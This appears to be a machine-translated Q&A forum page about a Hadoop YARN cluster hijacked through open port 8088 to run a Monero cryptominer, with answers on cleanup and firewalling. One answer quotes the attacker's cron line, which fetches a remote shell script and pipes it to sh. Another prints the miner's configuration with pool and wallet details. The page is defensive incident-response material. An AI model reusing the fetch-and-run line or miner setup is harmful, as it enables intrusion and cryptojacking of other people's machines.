YARN Dr.who Application Apptetept сбой попытки - PullRequest
Новая
       6

YARN Dr.who Application Apptetept сбой попытки

0 голосов
/ 25 мая 2018

Я получаю сообщение об ошибке в моем кластере hadoop.Может кто-нибудь объяснить мне, почему?Каким-то образом более 2000 заявлений о приеме на работу создаются и терпят неудачу без какой-либо причины.

enter image description here

Ответы [ 4 ]

0 голосов
/ 16 ноября 2018

В облаке Google, порт атаки робота 8088 и запуск множества приложений пряжи.1. В облаке Google я добавляю правило брандмауэра, чтобы остановить доступ 8088. 2. Уничтожить все приложения с пряжей yarn application -list |grep 'dr.who'| awk '$6 == "ACCEPTED" { print $1 }'| while read app; do yarn application -kill "$app"; done 3. Уничтожить все процессы, принадлежащие пряже (предыдущий шаг - освободить процессор, но ваша сеть сгорит после) ps -ef |grep yarn |awk '{ print $2}'|while read p ; do sudo kill -9 $p; done

теперь используйте консоль, чтобы следить за пряжей; -)

0 голосов
/ 17 июля 2018

РЕДАКТИРОВАТЬ : я добавил небольшое руководство о том, как решить эту проблему, здесь Google Cloud Dataproc Virus CrytalMiner (dr.who)

Что такоеВероятно, у вас получилось:

  • хакер сканирует все открытые уязвимости (IP-адрес + порт) и сохраняет их в таблице взломов
  • хакер сканирует таблицу взломов и пытаетсячтобы выяснить, запускали ли вы недавно кластер или нет
  • , когда доступен уязвимый кластер, к нему подключается хакер (все открыто и обнаружена уязвимость!)
  • парень подключаетсяв ваш кластер, удаляет все (в моем случае скрипт называется zz.sh, и вы можете найти его в ссылке BitBucket ниже), а затем загружает приложение для майнинга
  • YARN считает, что работники терпят неудачу, но я неЯ даже не думаю, что приложение Hadoop больше запущено.

Я предлагаю вам попытаться найти адрес bitbucket / github в ваших журналах ошибок.Также вы можете попытаться найти команду get / wget / apt-get / curl.

Полагаю, он сейчас богат.

Две важные вещи:

  • проверьте, что конфигурация вашей группы безопасности достаточно надежна, без публичных разрешений везде
  • убедитесь, что ваш SSH-ключ не скомпрометирован.

Похожие:

0 голосов
/ 03 октября 2018

Вам необходимо отредактировать свою группу безопасности для главного и подчиненного устройств и ограничить доступ к порту 8088, который вы используете для мониторинга приложений пряжи и их журналов.Диспетчер ресурсов также принимает приложения пряжи для отправки и запуска через API остальных.нажмите здесь для получения дополнительной информации о REST API RM.Хакер использует этот порт для отправки приложения пряжи, которое упаковывает скрипт оболочки для загрузки бинарных файлов monero и помещает их в такое место, как "/ var / tmp / java", и запускает их.Пряжа думает, что это приложение, но оно будет запускать программное обеспечение для майнинга.Но это не Java, если вы запустите аргумент команды --version с ним, вы получите результат ниже 

[hadoop@ip-172-31-28-26 ~]$ /var/tmp/java --version
XMRig 2.6.2
built on Jun 24 2018 with GCC 6.3.0
features: 64-bit AES

Плюс, если вы найдете файл "/var/tmp/w.conf", откройте файл ивы можете увидеть сервер моно кошелька, который он использует, его адрес кошелька и пароль и т. д. см. ниже пример, который я нашел на своем экземпляре emr 

{
"algo": "cryptonight",
"background": true,
"donate-level": 1,
"log-file": null,
"print-time": 60,
"max-cpu-usage": 95,
"pools": [
     {
        "url": "stratum+tcp://163.172.205.136:3333",
        "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
        "pass": "h",
        "variant": -1
    }
],
"api": {
    "port": 0,
    "access-token": null,
    "worker-id": null
}

}

Чтобы подвести итог, следуйте нижешаги, чтобы решить эту проблему.

  1. Удалить публичный доступ к любому порту, который не защищен.Особенно 8088
  2. проверьте ваш crontab и удалите все записи, которые вы не идентифицируете
  3. Удалите содержимое внутри каталогов, например "/ var / tmp", но убедитесь, что они не ваши
  4. Используйте topкоманда, чтобы увидеть pid процессов, которые принимают все процессоры и убить их

Выполнение вышеуказанных шагов гарантирует, что программа майнинга не запустится снова

0 голосов
/ 06 июня 2018

Это может быть хаком ... Существует криптовалютный майнер, который создает тысячи рабочих мест, подобных этой.

Проверьте наличие заданий cron в качестве пряжи на каждом подозрительном узле и удалите их. 

    $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

Затем проверьте «java» -процесс, подобный этому, и уничтожьте его. 

/var/tmp/java -c /var/tmp/wc.conf

Вы также должны защитить все входящие порты в кластере, чтобы предотвратить его повторение.

См. Это также для получения дополнительной информации.https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html

...